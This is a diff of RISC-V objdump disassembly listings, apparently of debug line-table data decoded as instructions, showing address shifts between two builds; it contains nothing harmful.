-     852:	0501                	addi	a0,a0,0
-     854:	0609                	addi	a2,a2,2
-     856:	00090003          	lb	zero,0(s2)
-     85a:	0100                	addi	s0,sp,128
-     85c:	0705                	addi	a4,a4,1
-     85e:	0306                	slli	t1,t1,0x1
-     860:	00040903          	lb	s2,0(s0)
-     864:	0501                	addi	a0,a0,0
-     866:	0003060f          	0x3060f
-     86a:	0009                	c.nop	2
-     86c:	0100                	addi	s0,sp,128
-     86e:	0200                	addi	s0,sp,256
-     870:	0104                	addi	s1,sp,128
-     872:	12090003          	lb	zero,288(s2)
-     876:	0100                	addi	s0,sp,128
-     878:	0705                	addi	a4,a4,1
-     87a:	0200                	addi	s0,sp,256
-     87c:	0404                	addi	s1,sp,512
+     7a2:	09000323          	sb	a6,134(zero) # 86 <__stack_size-0x77a>
+     7a6:	000c                	0xc
+     7a8:	0501                	addi	a0,a0,0
+     7aa:	0306                	slli	t1,t1,0x1
+     7ac:	0901                	addi	s2,s2,0
+     7ae:	0000                	unimp
+     7b0:	0301                	addi	t1,t1,0
+     7b2:	0900                	addi	s0,sp,144
+     7b4:	0000                	unimp
+     7b6:	0301                	addi	t1,t1,0
+     7b8:	0900                	addi	s0,sp,144
+     7ba:	0000                	unimp
+     7bc:	0301                	addi	t1,t1,0
+     7be:	0900                	addi	s0,sp,144
+     7c0:	0000                	unimp
+     7c2:	0301                	addi	t1,t1,0
+     7c4:	0900                	addi	s0,sp,144
+     7c6:	0008                	0x8
+     7c8:	0301                	addi	t1,t1,0
+     7ca:	0901                	addi	s2,s2,0
+     7cc:	0000                	unimp
+     7ce:	0301                	addi	t1,t1,0
+     7d0:	00020903          	lb	s2,0(tp) # 1a000 <__stack_size+0x19800>
+     7d4:	0501                	addi	a0,a0,0
+     7d6:	09000307          	0x9000307
+     7da:	0000                	unimp
+     7dc:	0501                	addi	a0,a0,0
+     7de:	0616                	slli	a2,a2,0x5
+     7e0:	00090003          	lb	zero,0(s2)
+     7e4:	0100                	addi	s0,sp,128
+     7e6:	2005                	jal	806 <__stack_size+0x6>
+     7e8:	04090103          	lb	sp,64(s2)
+     7ec:	0100                	addi	s0,sp,128
+     7ee:	1605                	addi	a2,a2,-31
+     7f0:	06097f03          	0x6097f03
+     7f4:	0100                	addi	s0,sp,128
+     7f6:	0605                	addi	a2,a2,1
+     7f8:	0306                	slli	t1,t1,0x1
+     7fa:	0901                	addi	s2,s2,0
+     7fc:	0004                	0x4
+     7fe:	0501                	addi	a0,a0,0
+     800:	0314                	addi	a3,sp,384
+     802:	0900                	addi	s0,sp,144
+     804:	0000                	unimp
+     806:	0501                	addi	a0,a0,0
+     808:	0620                	addi	s0,sp,776
+     80a:	00090003          	lb	zero,0(s2)
+     80e:	0100                	addi	s0,sp,128
+     810:	0605                	addi	a2,a2,1
+     812:	0306                	slli	t1,t1,0x1
+     814:	0901                	addi	s2,s2,0
+     816:	0006                	c.slli	zero,0x1
+     818:	0501                	addi	a0,a0,0
+     81a:	0609                	addi	a2,a2,2
+     81c:	00090003          	lb	zero,0(s2)
+     820:	0100                	addi	s0,sp,128
+     822:	0705                	addi	a4,a4,1
+     824:	0306                	slli	t1,t1,0x1
+     826:	00040903          	lb	s2,0(s0)
+     82a:	0501                	addi	a0,a0,0
+     82c:	0003060f          	0x3060f
+     830:	0009                	c.nop	2
+     832:	0100                	addi	s0,sp,128
+     834:	0200                	addi	s0,sp,256
+     836:	0104                	addi	s1,sp,128
+     838:	12090003          	lb	zero,288(s2)
+     83c:	0100                	addi	s0,sp,128
+     83e:	0705                	addi	a4,a4,1
+     840:	0200                	addi	s0,sp,256
+     842:	0404                	addi	s1,sp,512
+     844:	0306                	slli	t1,t1,0x1
+     846:	0901                	addi	s2,s2,0
+     848:	0006                	c.slli	zero,0x1
+     84a:	0501                	addi	a0,a0,0
+     84c:	0021                	c.nop	8
+     84e:	0402                	c.slli64	s0
+     850:	0604                	addi	s1,sp,768
+     852:	00090003          	lb	zero,0(s2)
+     856:	0100                	addi	s0,sp,128
+     858:	0705                	addi	a4,a4,1
+     85a:	0200                	addi	s0,sp,256
+     85c:	0404                	addi	s1,sp,512
+     85e:	02090003          	lb	zero,32(s2)
+     862:	0100                	addi	s0,sp,128
+     864:	0200                	addi	s0,sp,256
+     866:	0404                	addi	s1,sp,512
+     868:	0306                	slli	t1,t1,0x1
+     86a:	0901                	addi	s2,s2,0
+     86c:	000a                	c.slli	zero,0x2
+     86e:	0501                	addi	a0,a0,0
+     870:	0010                	0x10
+     872:	0402                	c.slli64	s0
+     874:	0604                	addi	s1,sp,768
+     876:	00090003          	lb	zero,0(s2)
+     87a:	0100                	addi	s0,sp,128
+     87c:	0605                	addi	a2,a2,1
      87e:	0306                	slli	t1,t1,0x1
-     880:	0901                	addi	s2,s2,0
+     880:	0902                	c.slli64	s2
      882:	0006                	c.slli	zero,0x1
      884:	0501                	addi	a0,a0,0
-     886:	0021                	c.nop	8
-     888:	0402                	c.slli64	s0
-     88a:	0604                	addi	s1,sp,768
-     88c:	00090003          	lb	zero,0(s2)
-     890:	0100                	addi	s0,sp,128
-     892:	0705                	addi	a4,a4,1
-     894:	0200                	addi	s0,sp,256
-     896:	0404                	addi	s1,sp,512
-     898:	02090003          	lb	zero,32(s2)
-     89c:	0100                	addi	s0,sp,128
-     89e:	0200                	addi	s0,sp,256
-     8a0:	0404                	addi	s1,sp,512
-     8a2:	0306                	slli	t1,t1,0x1
-     8a4:	0901                	addi	s2,s2,0
-     8a6:	000a                	c.slli	zero,0x2
-     8a8:	0501                	addi	a0,a0,0
-     8aa:	0010                	0x10
-     8ac:	0402                	c.slli64	s0
-     8ae:	0604                	addi	s1,sp,768
-     8b0:	00090003          	lb	zero,0(s2)
-     8b4:	0100                	addi	s0,sp,128
-     8b6:	0605                	addi	a2,a2,1
-     8b8:	0306                	slli	t1,t1,0x1
-     8ba:	0902                	c.slli64	s2
-     8bc:	0006                	c.slli	zero,0x1
-     8be:	0501                	addi	a0,a0,0
-     8c0:	0622                	slli	a2,a2,0x8
-     8c2:	00090003          	lb	zero,0(s2)
-     8c6:	0100                	addi	s0,sp,128
-     8c8:	0605                	addi	a2,a2,1
-     8ca:	0306                	slli	t1,t1,0x1
-     8cc:	0901                	addi	s2,s2,0
-     8ce:	0008                	0x8
-     8d0:	0901                	addi	s2,s2,0
-     8d2:	0002                	c.slli64	zero
+     886:	0622                	slli	a2,a2,0x8
+     888:	00090003          	lb	zero,0(s2)
+     88c:	0100                	addi	s0,sp,128
+     88e:	0605                	addi	a2,a2,1
+     890:	0306                	slli	t1,t1,0x1
+     892:	0901                	addi	s2,s2,0
+     894:	0008                	0x8
+     896:	0901                	addi	s2,s2,0
+     898:	0002                	c.slli64	zero
+     89a:	0100                	addi	s0,sp,128
+     89c:	0501                	addi	a0,a0,0
+     89e:	0011                	c.nop	4
+     8a0:	0205                	addi	tp,tp,1
+     8a2:	189c                	addi	a5,sp,112
+     8a4:	2040                	fld	fs0,128(s0)
+     8a6:	0100f103          	0x100f103
+     8aa:	0205                	addi	tp,tp,1
+     8ac:	00090603          	lb	a2,0(s2)
+     8b0:	0100                	addi	s0,sp,128
+     8b2:	00090003          	lb	zero,0(s2)
+     8b6:	0100                	addi	s0,sp,128
+     8b8:	1105                	addi	sp,sp,-31
+     8ba:	0306                	slli	t1,t1,0x1
+     8bc:	097a                	slli	s2,s2,0x1e
+     8be:	0000                	unimp
+     8c0:	0501                	addi	a0,a0,0
+     8c2:	0302                	c.slli64	t1
+     8c4:	0906                	slli	s2,s2,0x1
+     8c6:	0014                	0x14
+     8c8:	0601                	addi	a2,a2,0
+     8ca:	0c090103          	lb	sp,192(s2)
+     8ce:	0100                	addi	s0,sp,128
+     8d0:	00090003          	lb	zero,0(s2)
      8d4:	0100                	addi	s0,sp,128
-     8d6:	0501                	addi	a0,a0,0
-     8d8:	001c                	0x1c
-     8da:	0205                	addi	tp,tp,1
-     8dc:	1c8a                	slli	s9,s9,0x22
-     8de:	2040                	fld	fs0,128(s0)
-     8e0:	0100ee03          	0x100ee03
-     8e4:	0205                	addi	tp,tp,1
-     8e6:	00090403          	lb	s0,0(s2)
-     8ea:	0100                	addi	s0,sp,128
-     8ec:	1d05                	addi	s10,s10,-31
-     8ee:	00090003          	lb	zero,0(s2)
-     8f2:	0100                	addi	s0,sp,128
-     8f4:	00090003          	lb	zero,0(s2)
-     8f8:	0100                	addi	s0,sp,128
-     8fa:	1c05                	addi	s8,s8,-31
-     8fc:	0306                	slli	t1,t1,0x1
-     8fe:	097c                	addi	a5,sp,156
-     900:	0000                	unimp
-     902:	0501                	addi	a0,a0,0
-     904:	031d                	addi	t1,t1,7
-     906:	0904                	addi	s1,sp,144
-     908:	0008                	0x8
-     90a:	0601                	addi	a2,a2,0
-     90c:	04090003          	lb	zero,64(s2)
-     910:	0100                	addi	s0,sp,128
-     912:	0205                	addi	tp,tp,1
-     914:	00090103          	lb	sp,0(s2)
-     918:	0100                	addi	s0,sp,128
-     91a:	3c05                	jal	34a <__stack_size-0x4b6>
-     91c:	0306                	slli	t1,t1,0x1
-     91e:	0900                	addi	s0,sp,144
-     920:	0000                	unimp
-     922:	0501                	addi	a0,a0,0
-     924:	031a                	slli	t1,t1,0x6
+     8d6:	00090003          	lb	zero,0(s2)
+     8da:	0100                	addi	s0,sp,128
+     8dc:	00090003          	lb	zero,0(s2)
+     8e0:	0100                	addi	s0,sp,128
+     8e2:	0a090003          	lb	zero,160(s2)
+     8e6:	0100                	addi	s0,sp,128
+     8e8:	0505                	addi	a0,a0,1
+     8ea:	00090103          	lb	sp,0(s2)
+     8ee:	0100                	addi	s0,sp,128
+     8f0:	00090003          	lb	zero,0(s2)
+     8f4:	0100                	addi	s0,sp,128
+     8f6:	00090003          	lb	zero,0(s2)
+     8fa:	0100                	addi	s0,sp,128
+     8fc:	00090003          	lb	zero,0(s2)
+     900:	0100                	addi	s0,sp,128
+     902:	04090003          	lb	zero,64(s2)
+     906:	0100                	addi	s0,sp,128
+     908:	0205                	addi	tp,tp,1
+     90a:	00090303          	lb	t1,0(s2)
+     90e:	0100                	addi	s0,sp,128
+     910:	5105                	li	sp,-31
+     912:	0306                	slli	t1,t1,0x1
+     914:	0900                	addi	s0,sp,144
+     916:	0000                	unimp
+     918:	0501                	addi	a0,a0,0
+     91a:	0602                	c.slli64	a2
+     91c:	08090103          	lb	sp,128(s2)
+     920:	0100                	addi	s0,sp,128
+     922:	1b05                	addi	s6,s6,-31
+     924:	0306                	slli	t1,t1,0x1
      926:	0900                	addi	s0,sp,144
-     928:	0002                	c.slli64	zero
+     928:	0000                	unimp
      92a:	0501                	addi	a0,a0,0
-     92c:	033c                	addi	a5,sp,392
-     92e:	0900                	addi	s0,sp,144
-     930:	0004                	0x4
+     92c:	0302                	c.slli64	t1
+     92e:	0902                	c.slli64	s2
+     930:	0006                	c.slli	zero,0x1
      932:	0501                	addi	a0,a0,0
-     934:	0330                	addi	a2,sp,392
-     936:	0901                	addi	s2,s2,0
-     938:	0008                	0x8
+     934:	097e031b          	0x97e031b
+     938:	0004                	0x4
      93a:	0501                	addi	a0,a0,0
-     93c:	0002                	c.slli64	zero
-     93e:	0402                	c.slli64	s0
-     940:	03030603          	lb	a2,48(t1)
-     944:	0c09                	addi	s8,s8,2
-     946:	0100                	addi	s0,sp,128
-     948:	0705                	addi	a4,a4,1
-     94a:	0200                	addi	s0,sp,256
-     94c:	0304                	addi	s1,sp,384
-     94e:	0306                	slli	t1,t1,0x1
-     950:	0900                	addi	s0,sp,144
-     952:	0000                	unimp
-     954:	0501                	addi	a0,a0,0
-     956:	0002                	c.slli64	zero
-     958:	0402                	c.slli64	s0
-     95a:	01030603          	lb	a2,16(t1)
-     95e:	0c09                	addi	s8,s8,2
+     93c:	0602                	c.slli64	a2
+     93e:	06090203          	lb	tp,96(s2)
+     942:	0100                	addi	s0,sp,128
+     944:	0c090203          	lb	tp,192(s2)
+     948:	0100                	addi	s0,sp,128
+     94a:	0c090203          	lb	tp,192(s2)
+     94e:	0100                	addi	s0,sp,128
+     950:	0c090103          	lb	sp,192(s2)
+     954:	0100                	addi	s0,sp,128
+     956:	0c090103          	lb	sp,192(s2)
+     95a:	0100                	addi	s0,sp,128
+     95c:	0c090103          	lb	sp,192(s2)
      960:	0100                	addi	s0,sp,128
-     962:	0705                	addi	a4,a4,1
-     964:	0200                	addi	s0,sp,256
-     966:	0304                	addi	s1,sp,384
-     968:	00090003          	lb	zero,0(s2)
+     962:	0c090103          	lb	sp,192(s2)
+     966:	0100                	addi	s0,sp,128
+     968:	0c090103          	lb	sp,192(s2)
      96c:	0100                	addi	s0,sp,128
-     96e:	1505                	addi	a0,a0,-31
-     970:	0200                	addi	s0,sp,256
-     972:	0304                	addi	s1,sp,384
-     974:	00090003          	lb	zero,0(s2)
+     96e:	0c090103          	lb	sp,192(s2)
+     972:	0100                	addi	s0,sp,128
+     974:	0c090103          	lb	sp,192(s2)
      978:	0100                	addi	s0,sp,128
-     97a:	1005                	c.nop	-31
-     97c:	0200                	addi	s0,sp,256
-     97e:	0304                	addi	s1,sp,384
-     980:	0306                	slli	t1,t1,0x1
-     982:	0900                	addi	s0,sp,144
-     984:	0000                	unimp
-     986:	0501                	addi	a0,a0,0
-     988:	0402000b          	0x402000b
-     98c:	09000303          	lb	t1,144(zero) # 90 <__stack_size-0x770>
-     990:	0002                	c.slli64	zero
-     992:	0501                	addi	a0,a0,0
-     994:	0002                	c.slli64	zero
-     996:	0402                	c.slli64	s0
-     998:	09000303          	lb	t1,144(zero) # 90 <__stack_size-0x770>
-     99c:	0002                	c.slli64	zero
-     99e:	0501                	addi	a0,a0,0
-     9a0:	01030603          	lb	a2,16(t1)
-     9a4:	0209                	addi	tp,tp,2
-     9a6:	0100                	addi	s0,sp,128
-     9a8:	1c05                	addi	s8,s8,-31
-     9aa:	0306                	slli	t1,t1,0x1
-     9ac:	0900                	addi	s0,sp,144
-     9ae:	0000                	unimp
-     9b0:	0501                	addi	a0,a0,0
-     9b2:	0306                	slli	t1,t1,0x1
-     9b4:	0900                	addi	s0,sp,144
-     9b6:	0006                	c.slli	zero,0x1
-     9b8:	0501                	addi	a0,a0,0
-     9ba:	0604                	addi	s1,sp,768
-     9bc:	02090103          	lb	sp,32(s2)
-     9c0:	0100                	addi	s0,sp,128
-     9c2:	1105                	addi	sp,sp,-31
-     9c4:	0306                	slli	t1,t1,0x1
-     9c6:	0900                	addi	s0,sp,144
-     9c8:	0000                	unimp
-     9ca:	0501                	addi	a0,a0,0
-     9cc:	030e                	slli	t1,t1,0x3
-     9ce:	0900                	addi	s0,sp,144
-     9d0:	0002                	c.slli64	zero
-     9d2:	0501                	addi	a0,a0,0
-     9d4:	0311                	addi	t1,t1,4
+     97a:	0c090103          	lb	sp,192(s2)
+     97e:	0100                	addi	s0,sp,128
+     980:	0c090103          	lb	sp,192(s2)
+     984:	0100                	addi	s0,sp,128
+     986:	0c090203          	lb	tp,192(s2)
+     98a:	0100                	addi	s0,sp,128
+     98c:	0805                	addi	a6,a6,1
+     98e:	0306                	slli	t1,t1,0x1
+     990:	0905                	addi	s2,s2,1
+     992:	0010                	0x10
+     994:	0501                	addi	a0,a0,0
+     996:	0305                	addi	t1,t1,1
+     998:	0004091b          	0x4091b
+     99c:	0501                	addi	a0,a0,0
+     99e:	0304                	addi	s1,sp,384
+     9a0:	0008096b          	0x8096b
+     9a4:	0501                	addi	a0,a0,0
+     9a6:	09010307          	0x9010307
+     9aa:	0008                	0x8
+     9ac:	0501                	addi	a0,a0,0
+     9ae:	0304                	addi	s1,sp,384
+     9b0:	0909                	addi	s2,s2,2
+     9b2:	0008                	0x8
+     9b4:	0301                	addi	t1,t1,0
+     9b6:	00080903          	lb	s2,0(a6) # ffff9000 <_heap_end+0x7ffea800>
+     9ba:	0501                	addi	a0,a0,0
+     9bc:	0605                	addi	a2,a2,1
+     9be:	08096903          	0x8096903
+     9c2:	0100                	addi	s0,sp,128
+     9c4:	0305                	addi	t1,t1,1
+     9c6:	00090203          	lb	tp,0(s2)
+     9ca:	0100                	addi	s0,sp,128
+     9cc:	00090203          	lb	tp,0(s2)
+     9d0:	0100                	addi	s0,sp,128
+     9d2:	0805                	addi	a6,a6,1
+     9d4:	0306                	slli	t1,t1,0x1
      9d6:	0900                	addi	s0,sp,144
-     9d8:	0004                	0x4
+     9d8:	0000                	unimp
      9da:	0501                	addi	a0,a0,0
-     9dc:	0312                	slli	t1,t1,0x4
-     9de:	0900                	addi	s0,sp,144
-     9e0:	0002                	c.slli64	zero
-     9e2:	0501                	addi	a0,a0,0
-     9e4:	0311                	addi	t1,t1,4
-     9e6:	0900                	addi	s0,sp,144
-     9e8:	0004                	0x4
-     9ea:	0501                	addi	a0,a0,0
-     9ec:	0621                	addi	a2,a2,8
-     9ee:	04090003          	lb	zero,64(s2)
-     9f2:	0100                	addi	s0,sp,128
-     9f4:	2c05                	jal	c24 <__stack_size+0x424>
-     9f6:	0306                	slli	t1,t1,0x1
-     9f8:	0900                	addi	s0,sp,144
-     9fa:	0000                	unimp
-     9fc:	0501                	addi	a0,a0,0
-     9fe:	030e                	slli	t1,t1,0x3
-     a00:	0900                	addi	s0,sp,144
-     a02:	0008                	0x8
-     a04:	0501                	addi	a0,a0,0
-     a06:	0402001b          	0x402001b
-     a0a:	0602                	c.slli64	a2
-     a0c:	02097e03          	0x2097e03
-     a10:	0100                	addi	s0,sp,128
-     a12:	1c05                	addi	s8,s8,-31
-     a14:	0200                	addi	s0,sp,256
-     a16:	0204                	addi	s1,sp,256
-     a18:	0306                	slli	t1,t1,0x1
-     a1a:	0900                	addi	s0,sp,144
-     a1c:	0000                	unimp
-     a1e:	0501                	addi	a0,a0,0
-     a20:	0015                	c.nop	5
-     a22:	0402                	c.slli64	s0
-     a24:	0602                	c.slli64	a2
-     a26:	02090003          	lb	zero,32(s2)
-     a2a:	0100                	addi	s0,sp,128
-     a2c:	0205                	addi	tp,tp,1
-     a2e:	0200                	addi	s0,sp,256
-     a30:	0204                	addi	s1,sp,256
-     a32:	0306                	slli	t1,t1,0x1
-     a34:	0900                	addi	s0,sp,144
-     a36:	0000                	unimp
-     a38:	0601                	addi	a2,a2,0
-     a3a:	04090403          	lb	s0,64(s2)
-     a3e:	0100                	addi	s0,sp,128
-     a40:	12090303          	lb	t1,288(s2)
-     a44:	0100                	addi	s0,sp,128
-     a46:	2305                	jal	f66 <__stack_size+0x766>
-     a48:	00090003          	lb	zero,0(s2)
-     a4c:	0100                	addi	s0,sp,128
-     a4e:	00090003          	lb	zero,0(s2)
-     a52:	0100                	addi	s0,sp,128
-     a54:	04090003          	lb	zero,64(s2)
-     a58:	0100                	addi	s0,sp,128
-     a5a:	0205                	addi	tp,tp,1
-     a5c:	00090103          	lb	sp,0(s2)
-     a60:	0100                	addi	s0,sp,128
-     a62:	4805                	li	a6,1
-     a64:	0306                	slli	t1,t1,0x1
-     a66:	0900                	addi	s0,sp,144
-     a68:	0000                	unimp
-     a6a:	0001                	nop
-     a6c:	0402                	c.slli64	s0
-     a6e:	0301                	addi	t1,t1,0
-     a70:	0900                	addi	s0,sp,144
-     a72:	0014                	0x14
-     a74:	0001                	nop
-     a76:	0402                	c.slli64	s0
-     a78:	09000303          	lb	t1,144(zero) # 90 <__stack_size-0x770>
-     a7c:	0008                	0x8
-     a7e:	0301                	addi	t1,t1,0
-     a80:	0900                	addi	s0,sp,144
-     a82:	0010                	0x10
-     a84:	0501                	addi	a0,a0,0
-     a86:	0002                	c.slli64	zero
-     a88:	0402                	c.slli64	s0
-     a8a:	060c                	addi	a1,sp,768
-     a8c:	08090403          	lb	s0,128(s2)
-     a90:	0100                	addi	s0,sp,128
-     a92:	0200                	addi	s0,sp,256
-     a94:	0c04                	addi	s1,sp,528
-     a96:	0e090303          	lb	t1,224(s2)
-     a9a:	0100                	addi	s0,sp,128
-     a9c:	2105                	jal	ebc <__stack_size+0x6bc>
-     a9e:	0200                	addi	s0,sp,256
-     aa0:	0c04                	addi	s1,sp,528
-     aa2:	00090003          	lb	zero,0(s2)
-     aa6:	0100                	addi	s0,sp,128
-     aa8:	0200                	addi	s0,sp,256
-     aaa:	0c04                	addi	s1,sp,528
-     aac:	00090003          	lb	zero,0(s2)
-     ab0:	0100                	addi	s0,sp,128
-     ab2:	0200                	addi	s0,sp,256
-     ab4:	0c04                	addi	s1,sp,528
-     ab6:	04090003          	lb	zero,64(s2)
-     aba:	0100                	addi	s0,sp,128
-     abc:	0205                	addi	tp,tp,1
-     abe:	0200                	addi	s0,sp,256
-     ac0:	0c04                	addi	s1,sp,528
-     ac2:	00090103          	lb	sp,0(s2)
-     ac6:	0100                	addi	s0,sp,128
-     ac8:	6c05                	lui	s8,0x1
-     aca:	0200                	addi	s0,sp,256
-     acc:	0c04                	addi	s1,sp,528
-     ace:	0306                	slli	t1,t1,0x1
-     ad0:	0900                	addi	s0,sp,144
-     ad2:	0000                	unimp
-     ad4:	0501                	addi	a0,a0,0
-     ad6:	002e                	c.slli	zero,0xb
-     ad8:	0402                	c.slli64	s0
-     ada:	0302                	c.slli64	t1
-     adc:	0900                	addi	s0,sp,144
-     ade:	0008                	0x8
-     ae0:	0501                	addi	a0,a0,0
-     ae2:	006c                	addi	a1,sp,12
-     ae4:	0402                	c.slli64	s0
-     ae6:	0302                	c.slli64	t1
-     ae8:	0900                	addi	s0,sp,144
-     aea:	0008                	0x8
-     aec:	0501                	addi	a0,a0,0
-     aee:	002e                	c.slli	zero,0xb
-     af0:	0402                	c.slli64	s0
-     af2:	0302                	c.slli64	t1
-     af4:	0900                	addi	s0,sp,144
-     af6:	0008                	0x8
-     af8:	0501                	addi	a0,a0,0
-     afa:	004a                	c.slli	zero,0x12
-     afc:	0402                	c.slli64	s0
-     afe:	0304                	addi	s1,sp,384
-     b00:	0900                	addi	s0,sp,144
-     b02:	0004                	0x4
-     b04:	0501                	addi	a0,a0,0
-     b06:	0038                	addi	a4,sp,8
-     b08:	0402                	c.slli64	s0
-     b0a:	0301                	addi	t1,t1,0
-     b0c:	0901                	addi	s2,s2,0
-     b0e:	000a                	c.slli	zero,0x2
-     b10:	0501                	addi	a0,a0,0
-     b12:	036c                	addi	a1,sp,396
-     b14:	097f                	0x97f
-     b16:	0006                	c.slli	zero,0x1
-     b18:	0001                	nop
-     b1a:	0402                	c.slli64	s0
-     b1c:	09000307          	0x9000307
-     b20:	000a                	c.slli	zero,0x2
-     b22:	0501                	addi	a0,a0,0
-     b24:	031f 0903 0010      	0x100903031f
-     b2a:	0501                	addi	a0,a0,0
-     b2c:	0402003b          	0x402003b
-     b30:	0301                	addi	t1,t1,0
-     b32:	0900                	addi	s0,sp,144
-     b34:	000c                	0xc
-     b36:	0501                	addi	a0,a0,0
-     b38:	036c                	addi	a1,sp,396
-     b3a:	097d                	addi	s2,s2,31
-     b3c:	0006                	c.slli	zero,0x1
-     b3e:	0501                	addi	a0,a0,0
-     b40:	0002                	c.slli64	zero
-     b42:	0402                	c.slli64	s0
-     b44:	060e                	slli	a2,a2,0x3
-     b46:	12090503          	lb	a0,288(s2)
-     b4a:	0100                	addi	s0,sp,128
-     b4c:	0200                	addi	s0,sp,256
-     b4e:	0e04                	addi	s1,sp,784
-     b50:	0c090303          	lb	t1,192(s2)
-     b54:	0100                	addi	s0,sp,128
-     b56:	2605                	jal	e76 <__stack_size+0x676>
-     b58:	0200                	addi	s0,sp,256
-     b5a:	0e04                	addi	s1,sp,784
-     b5c:	00090003          	lb	zero,0(s2)
-     b60:	0100                	addi	s0,sp,128
-     b62:	0200                	addi	s0,sp,256
-     b64:	0e04                	addi	s1,sp,784
-     b66:	00090003          	lb	zero,0(s2)
-     b6a:	0100                	addi	s0,sp,128
-     b6c:	0200                	addi	s0,sp,256
-     b6e:	0e04                	addi	s1,sp,784
-     b70:	04090003          	lb	zero,64(s2)
-     b74:	0100                	addi	s0,sp,128
-     b76:	0205                	addi	tp,tp,1
-     b78:	0200                	addi	s0,sp,256
-     b7a:	0e04                	addi	s1,sp,784
-     b7c:	0306                	slli	t1,t1,0x1
-     b7e:	0900                	addi	s0,sp,144
-     b80:	0000                	unimp
-     b82:	0001                	nop
-     b84:	0402                	c.slli64	s0
-     b86:	060e                	slli	a2,a2,0x3
-     b88:	0c090303          	lb	t1,192(s2)
-     b8c:	0100                	addi	s0,sp,128
-     b8e:	2505                	jal	11ae <__stack_size+0x9ae>
-     b90:	0200                	addi	s0,sp,256
-     b92:	0e04                	addi	s1,sp,784
-     b94:	00090003          	lb	zero,0(s2)
-     b98:	0100                	addi	s0,sp,128
-     b9a:	0200                	addi	s0,sp,256
-     b9c:	0e04                	addi	s1,sp,784
-     b9e:	00090003          	lb	zero,0(s2)
-     ba2:	0100                	addi	s0,sp,128
-     ba4:	0200                	addi	s0,sp,256
-     ba6:	0e04                	addi	s1,sp,784
-     ba8:	04090003          	lb	zero,64(s2)
-     bac:	0100                	addi	s0,sp,128
-     bae:	0205                	addi	tp,tp,1
-     bb0:	0200                	addi	s0,sp,256
-     bb2:	0e04                	addi	s1,sp,784
-     bb4:	0306                	slli	t1,t1,0x1
-     bb6:	0900                	addi	s0,sp,144
-     bb8:	0000                	unimp
-     bba:	0001                	nop
-     bbc:	0402                	c.slli64	s0
-     bbe:	060e                	slli	a2,a2,0x3
-     bc0:	0c090303          	lb	t1,192(s2)
-     bc4:	0100                	addi	s0,sp,128
-     bc6:	0200                	addi	s0,sp,256
-     bc8:	0e04                	addi	s1,sp,784
-     bca:	10090303          	lb	t1,256(s2)
-     bce:	0100                	addi	s0,sp,128
-     bd0:	0105                	addi	sp,sp,1
-     bd2:	0200                	addi	s0,sp,256
-     bd4:	0e04                	addi	s1,sp,784
-     bd6:	0306                	slli	t1,t1,0x1
-     bd8:	0902                	c.slli64	s2
-     bda:	000e                	c.slli	zero,0x3
-     bdc:	0901                	addi	s2,s2,0
-     bde:	000a                	c.slli	zero,0x2
-     be0:	0100                	addi	s0,sp,128
-     be2:	0501                	addi	a0,a0,0
-     be4:	02050017          	auipc	zero,0x2050
-     be8:	1e04                	addi	s1,sp,816
-     bea:	2040                	fld	fs0,128(s0)
-     bec:	0101a603          	lw	a2,16(gp) # 8000e080 <__global_pointer$+0x10>
-     bf0:	0205                	addi	tp,tp,1
-     bf2:	00090303          	lb	t1,0(s2)
-     bf6:	0100                	addi	s0,sp,128
-     bf8:	00090103          	lb	sp,0(s2)
-     bfc:	0100                	addi	s0,sp,128
-     bfe:	1705                	addi	a4,a4,-31
-     c00:	0306                	slli	t1,t1,0x1
-     c02:	097c                	addi	a5,sp,156
-     c04:	0000                	unimp
-     c06:	0501                	addi	a0,a0,0
-     c08:	0602                	c.slli64	a2
-     c0a:	02090603          	lb	a2,32(s2)
-     c0e:	0100                	addi	s0,sp,128
-     c10:	0705                	addi	a4,a4,1
-     c12:	00090003          	lb	zero,0(s2)
-     c16:	0100                	addi	s0,sp,128
-     c18:	1005                	c.nop	-31
-     c1a:	00090003          	lb	zero,0(s2)
-     c1e:	0100                	addi	s0,sp,128
-     c20:	1705                	addi	a4,a4,-31
-     c22:	0306                	slli	t1,t1,0x1
-     c24:	097a                	slli	s2,s2,0x1e
-     c26:	0000                	unimp
-     c28:	0301                	addi	t1,t1,0
-     c2a:	0900                	addi	s0,sp,144
-     c2c:	0012                	c.slli	zero,0x4
-     c2e:	0501                	addi	a0,a0,0
-     c30:	031c                	addi	a5,sp,384
-     c32:	0908                	addi	a0,sp,144
-     c34:	0002                	c.slli64	zero
-     c36:	0301                	addi	t1,t1,0
-     c38:	0901                	addi	s2,s2,0
-     c3a:	0002                	c.slli64	zero
-     c3c:	0501                	addi	a0,a0,0
-     c3e:	0320                	addi	s0,sp,392
-     c40:	0905                	addi	s2,s2,1
-     c42:	0002                	c.slli64	zero
-     c44:	0501                	addi	a0,a0,0
-     c46:	0302                	c.slli64	t1
-     c48:	0978                	addi	a4,sp,156
-     c4a:	0004                	0x4
-     c4c:	0501                	addi	a0,a0,0
-     c4e:	04020003          	lb	zero,64(tp) # 40 <__stack_size-0x7c0>
-     c52:	02030603          	lb	a2,32(t1)
-     c56:	0409                	addi	s0,s0,2
-     c58:	0100                	addi	s0,sp,128
-     c5a:	1c05                	addi	s8,s8,-31
-     c5c:	0200                	addi	s0,sp,256
-     c5e:	0304                	addi	s1,sp,384
-     c60:	00090003          	lb	zero,0(s2)
-     c64:	0100                	addi	s0,sp,128
-     c66:	0200                	addi	s0,sp,256
-     c68:	0304                	addi	s1,sp,384
-     c6a:	00090003          	lb	zero,0(s2)
-     c6e:	0100                	addi	s0,sp,128
-     c70:	0200                	addi	s0,sp,256
-     c72:	0304                	addi	s1,sp,384
-     c74:	08090003          	lb	zero,128(s2)
-     c78:	0100                	addi	s0,sp,128
-     c7a:	0305                	addi	t1,t1,1
-     c7c:	0200                	addi	s0,sp,256
-     c7e:	0304                	addi	s1,sp,384
-     c80:	02090103          	lb	sp,32(s2)
-     c84:	0100                	addi	s0,sp,128
-     c86:	1c05                	addi	s8,s8,-31
-     c88:	0200                	addi	s0,sp,256
-     c8a:	0304                	addi	s1,sp,384
-     c8c:	00090003          	lb	zero,0(s2)
-     c90:	0100                	addi	s0,sp,128
-     c92:	0200                	addi	s0,sp,256
-     c94:	0304                	addi	s1,sp,384
-     c96:	00090003          	lb	zero,0(s2)
-     c9a:	0100                	addi	s0,sp,128
-     c9c:	0200                	addi	s0,sp,256
-     c9e:	0304                	addi	s1,sp,384
-     ca0:	08090003          	lb	zero,128(s2)
-     ca4:	0100                	addi	s0,sp,128
-     ca6:	0305                	addi	t1,t1,1
-     ca8:	0200                	addi	s0,sp,256
-     caa:	0304                	addi	s1,sp,384
-     cac:	02090103          	lb	sp,32(s2)
